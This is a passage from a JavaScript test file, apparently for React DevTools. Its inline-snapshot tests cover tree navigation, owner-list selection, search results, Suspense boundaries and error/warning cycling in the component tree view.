key=\"1\">\n                 <Child key=\"2\">\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child key=\"0\">\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_SIBLING_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child key=\"0\">\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n                 <Child key=\"2\">\n        →    ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n    });\n\n    it('should navigate the owner hierarchy', () => {\n      const Wrapper = ({children}) => children;\n      const Grandparent = () => (\n        <React.Fragment>\n          <Wrapper>\n            <Parent numChildren={1} />\n          </Wrapper>\n          <Wrapper>\n            <Parent numChildren={3} />\n          </Wrapper>\n          <Wrapper>\n            <Parent numChildren={2} />\n          </Wrapper>\n        </React.Fragment>\n      );\n      const Parent = ({numChildren}) =>\n        new Array(numChildren)\n          .fill(true)\n          .map((_, index) => <Child key={index} />);\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n\n      const childID = ((store.getElementIDAtIndex(7): any): number);\n      utils.act(() =>\n        dispatch({type: 'SELECT_ELEMENT_BY_ID', payload: childID}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n        →          <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Basic navigation test\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n        →      ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Noop (since we're at the root already)\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n        →      ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n        →          <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Noop (since we're at the leaf node)\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n        →          <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Other navigational actions should clear out the temporary owner chain.\n      utils.act(() => dispatch({type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n        →          <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Start a new tree on parent\n      const parentID = ((store.getElementIDAtIndex(5): any): number);\n      utils.act(() =>\n        dispatch({type: 'SELECT_ELEMENT_BY_ID', payload: parentID}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n        →      ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Noop (since we're at the top)\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →  ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n        →      ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n\n      // Noop (since we're at the leaf of this owner tree)\n      // It should not be possible to navigate beyond the owner chain leaf.\n      utils.act(() =>\n        dispatch({type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE'}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n             ▾ <Wrapper>\n        →      ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n                   <Child key=\"2\">\n             ▾ <Wrapper>\n               ▾ <Parent>\n                   <Child key=\"0\">\n                   <Child key=\"1\">\n      `);\n    });\n  });\n\n  describe('search state', () => {\n    it('should find elements matching search text', () => {\n      const Foo = () => null;\n      const Bar = () => null;\n      const Baz = () => null;\n      const Qux = () => null;\n\n      Qux.displayName = `withHOC(${Qux.name})`;\n\n      utils.act(() =>\n        render(\n          <React.Fragment>\n            <Foo />\n            <Bar />\n            <Baz />\n            <Qux />\n          </React.Fragment>,\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n             <Baz>\n             <Qux> [withHOC]\n      `);\n\n      // NOTE: multi-match\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'ba'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Bar>\n             <Baz>\n             <Qux> [withHOC]\n      `);\n\n      // NOTE: single match\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'f'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Foo>\n             <Bar>\n             <Baz>\n             <Qux> [withHOC]\n      `);\n\n      // NOTE: no match\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'y'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Foo>\n             <Bar>\n             <Baz>\n             <Qux> [withHOC]\n      `);\n\n      // NOTE: HOC match\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'w'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n             <Baz>\n        →    <Qux> [withHOC]\n      `);\n    });\n\n    it('should select the next and previous items within the search results', () => {\n      const Foo = () => null;\n      const Bar = () => null;\n      const Baz = () => null;\n\n      utils.act(() =>\n        render(\n          <React.Fragment>\n            <Foo />\n            <Baz />\n            <Bar />\n            <Baz />\n          </React.Fragment>,\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Baz>\n             <Bar>\n             <Baz>\n      `);\n\n      // search for \"ba\"\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'ba'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Baz>\n             <Bar>\n             <Baz>\n      `);\n\n      // go to second result\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Baz>\n        →    <Bar>\n             <Baz>\n      `);\n\n      // go to third result\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Baz>\n             <Bar>\n        →    <Baz>\n      `);\n\n      // go to second result\n      utils.act(() => dispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Baz>\n        →    <Bar>\n             <Baz>\n      `);\n\n      // go to first result\n      utils.act(() => dispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Baz>\n             <Bar>\n             <Baz>\n      `);\n\n      // wrap to last result\n      utils.act(() => dispatch({type: 'GO_TO_PREVIOUS_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Baz>\n             <Bar>\n        →    <Baz>\n      `);\n\n      // wrap to first result\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Baz>\n             <Bar>\n             <Baz>\n      `);\n    });\n\n    it('should add newly mounted elements to the search results set if they match the current text', async () => {\n      const Foo = () => null;\n      const Bar = () => null;\n      const Baz = () => null;\n\n      utils.act(() =>\n        render(\n          <React.Fragment>\n            <Foo />\n            <Bar />\n          </React.Fragment>,\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n      `);\n\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'ba'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Bar>\n      `);\n\n      await utils.actAsync(() =>\n        render(\n          <React.Fragment>\n            <Foo />\n            <Bar />\n            <Baz />\n          </React.Fragment>,\n        ),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Bar>\n             <Baz>\n      `);\n\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n        →    <Baz>\n      `);\n    });\n\n    it('should remove unmounted elements from the search results set', async () => {\n      const Foo = () => null;\n      const Bar = () => null;\n      const Baz = () => null;\n\n      utils.act(() =>\n        render(\n          <React.Fragment>\n            <Foo />\n            <Bar />\n            <Baz />\n          </React.Fragment>,\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n             <Baz>\n      `);\n\n      utils.act(() => dispatch({type: 'SET_SEARCH_TEXT', payload: 'ba'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Bar>\n             <Baz>\n      `);\n\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n        →    <Baz>\n      `);\n\n      await utils.actAsync(() =>\n        render(\n          <React.Fragment>\n            <Foo />\n            <Bar />\n          </React.Fragment>,\n        ),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n             <Bar>\n      `);\n\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Bar>\n      `);\n\n      // Noop since the list is now one item long\n      utils.act(() => dispatch({type: 'GO_TO_NEXT_SEARCH_RESULT'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Foo>\n        →    <Bar>\n      `);\n    });\n  });\n\n  describe('owners state', () => {\n    it('should support entering and existing the owners tree view', () => {\n      const Grandparent = () => <Parent />;\n      const Parent = () => (\n        <React.Fragment>\n          <Child />\n          <Child />\n        </React.Fragment>\n      );\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n\n      const parentID = ((store.getElementIDAtIndex(1): any): number);\n      utils.act(() => dispatch({type: 'SELECT_OWNER', payload: parentID}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →  ▾ <Parent>\n               <Child>\n               <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'RESET_OWNER_STACK'}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n        →    ▾ <Parent>\n                 <Child>\n                 <Child>\n      `);\n    });\n\n    it('should remove an element from the owners list if it is unmounted', async () => {\n      const Grandparent = ({count}) => <Parent count={count} />;\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => null;\n\n      utils.act(() => render(<Grandparent count={2} />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Grandparent>\n             ▾ <Parent>\n                 <Child key=\"0\">\n                 <Child key=\"1\">\n      `);\n\n      const parentID = ((store.getElementIDAtIndex(1): any): number);\n      utils.act(() => dispatch({type: 'SELECT_OWNER', payload: parentID}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →  ▾ <Parent>\n               <Child key=\"0\">\n               <Child key=\"1\">\n      `);\n\n      await utils.actAsync(() => render(<Grandparent count={1} />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →  ▾ <Parent>\n               <Child key=\"0\">\n      `);\n\n      await utils.actAsync(() => render(<Grandparent count={0} />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →    <Parent>\n      `);\n    });\n\n    it('should exit the owners list if the current owner is unmounted', async () => {\n      const Parent = props => props.children || null;\n      const Child = () => null;\n\n      utils.act(() =>\n        render(\n          <Parent>\n            <Child />\n          </Parent>,\n        ),\n      );\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Parent>\n               <Child>\n      `);\n\n      const childID = ((store.getElementIDAtIndex(1): any): number);\n      utils.act(() => dispatch({type: 'SELECT_OWNER', payload: childID}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →    <Child>\n      `);\n\n      await utils.actAsync(() => render(<Parent />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Parent>\n      `);\n\n      const parentID = ((store.getElementIDAtIndex(0): any): number);\n      utils.act(() => dispatch({type: 'SELECT_OWNER', payload: parentID}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →    <Parent>\n      `);\n\n      await utils.actAsync(() => unmount());\n      expect(state).toMatchInlineSnapshot(``);\n    });\n\n    // This tests ensures support for toggling Suspense boundaries outside of the active owners list.\n    it('should exit the owners list if an element outside the list is selected', () => {\n      const Grandchild = () => null;\n      const Child = () => (\n        <React.Suspense fallback=\"Loading\">\n          <Grandchild />\n        </React.Suspense>\n      );\n      const Parent = () => (\n        <React.Suspense fallback=\"Loading\">\n          <Child />\n        </React.Suspense>\n      );\n\n      utils.act(() => render(<Parent />));\n\n      let renderer;\n      utils.act(() => (renderer = TestRenderer.create(<Contexts />)));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Parent>\n             ▾ <Suspense>\n               ▾ <Child>\n                 ▾ <Suspense>\n                     <Grandchild>\n        [suspense-root]  rects={null}\n          <Suspense name=\"Parent\" uniqueSuspenders={false} rects={null}>\n            <Suspense name=\"Child\" uniqueSuspenders={false} rects={null}>\n      `);\n\n      const outerSuspenseID = ((store.getElementIDAtIndex(1): any): number);\n      const childID = ((store.getElementIDAtIndex(2): any): number);\n      const innerSuspenseID = ((store.getElementIDAtIndex(3): any): number);\n\n      utils.act(() => dispatch({type: 'SELECT_OWNER', payload: childID}));\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n        →  ▾ <Child>\n             ▾ <Suspense>\n                 <Grandchild>\n      `);\n\n      // Toggling a Suspense boundary inside of the flat list should update selected index\n      utils.act(() =>\n        dispatch({type: 'SELECT_ELEMENT_BY_ID', payload: innerSuspenseID}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [owners]\n           ▾ <Child>\n        →    ▾ <Suspense>\n                 <Grandchild>\n      `);\n\n      // Toggling a Suspense boundary outside of the flat list should exit owners list and update index\n      utils.act(() =>\n        dispatch({type: 'SELECT_ELEMENT_BY_ID', payload: outerSuspenseID}),\n      );\n      utils.act(() => renderer.update(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n           ▾ <Parent>\n        →    ▾ <Suspense>\n               ▾ <Child>\n                 ▾ <Suspense>\n                     <Grandchild>\n        [suspense-root]  rects={null}\n          <Suspense name=\"Parent\" uniqueSuspenders={false} rects={null}>\n            <Suspense name=\"Child\" uniqueSuspenders={false} rects={null}>\n      `);\n    });\n  });\n\n  describe('inline errors/warnings state', () => {\n    const {\n      clearErrorsAndWarnings: clearErrorsAndWarningsAPI,\n      clearErrorsForElement: clearErrorsForElementAPI,\n      clearWarningsForElement: clearWarningsForElementAPI,\n    } = require('react-devtools-shared/src/backendAPI');\n\n    function clearAllErrors() {\n      utils.act(() => clearErrorsAndWarningsAPI({bridge, store}));\n      // flush events to the renderer\n      jest.runAllTimers();\n    }\n\n    function clearErrorsForElement(id) {\n      const rendererID = store.getRendererIDForElement(id);\n      utils.act(() => clearErrorsForElementAPI({bridge, id, rendererID}));\n      // flush events to the renderer\n      jest.runAllTimers();\n    }\n\n    function clearWarningsForElement(id) {\n      const rendererID = store.getRendererIDForElement(id);\n      utils.act(() => clearWarningsForElementAPI({bridge, id, rendererID}));\n      // flush events to the renderer\n      jest.runAllTimers();\n    }\n\n    function selectNextErrorOrWarning() {\n      utils.act(() =>\n        dispatch({type: 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE'}),\n      );\n    }\n\n    function selectPreviousErrorOrWarning() {\n      utils.act(() =>\n        dispatch({\n          type: 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE',\n        }),\n      );\n    }\n\n    function Child({logError = false, logWarning = false}) {\n      if (logError === true) {\n        console.error('test-only: error');\n      }\n      if (logWarning === true) {\n        console.warn('test-only: warning');\n      }\n      return null;\n    }\n\n    it('should handle when there are no errors/warnings', () => {\n      utils.act(() =>\n        render(\n          <React.Fragment>\n            <Child />\n            <Child />\n            <Child />\n          </React.Fragment>,\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Child>\n             <Child>\n             <Child>\n      `);\n\n      // Next/previous errors should be a no-op\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Child>\n             <Child>\n             <Child>\n      `);\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n             <Child>\n             <Child>\n             <Child>\n      `);\n\n      utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 0}));\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Child>\n             <Child>\n             <Child>\n      `);\n\n      // Next/previous errors should still be a no-op\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Child>\n             <Child>\n             <Child>\n      `);\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        [root]\n        →    <Child>\n             <Child>\n             <Child>\n      `);\n    });\n\n    it('should cycle through the next errors/warnings and wrap around', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logWarning={true} />\n              <Child />\n              <Child logError={true} />\n              <Child />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n    });\n\n    it('should cycle through the previous errors/warnings and wrap around', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () =>\n        utils.act(() =>\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logWarning={true} />\n              <Child />\n              <Child logError={true} />\n              <Child />\n            </React.Fragment>,\n          ),\n        ),\n      );\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectPreviousErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n    });\n\n    it('should cycle through the next errors/warnings and wrap around with multiple roots', () => {\n      withErrorsOrWarningsIgnored(['test-only:'], () => {\n        utils.act(() => {\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logWarning={true} />,\n            </React.Fragment>,\n          );\n\n          createContainer();\n\n          render(\n            <React.Fragment>\n              <Child />\n              <Child logError={true} />\n              <Child />\n            </React.Fragment>,\n          );\n        });\n      });\n\n      utils.act(() => TestRenderer.create(<Contexts />));\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        [root]\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n        [root]\n             <Child>\n             <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n             <Child> ⚠\n        [root]\n             <Child>\n        →    <Child> ✕\n             <Child>\n      `);\n\n      selectNextErrorOrWarning();\n      expect(state).toMatchInlineSnapshot(`\n        ✕ 1, ⚠ 1\n        [root]\n             <Child>\n        →    <Child> ⚠\n        [root]\n             <Child>\n             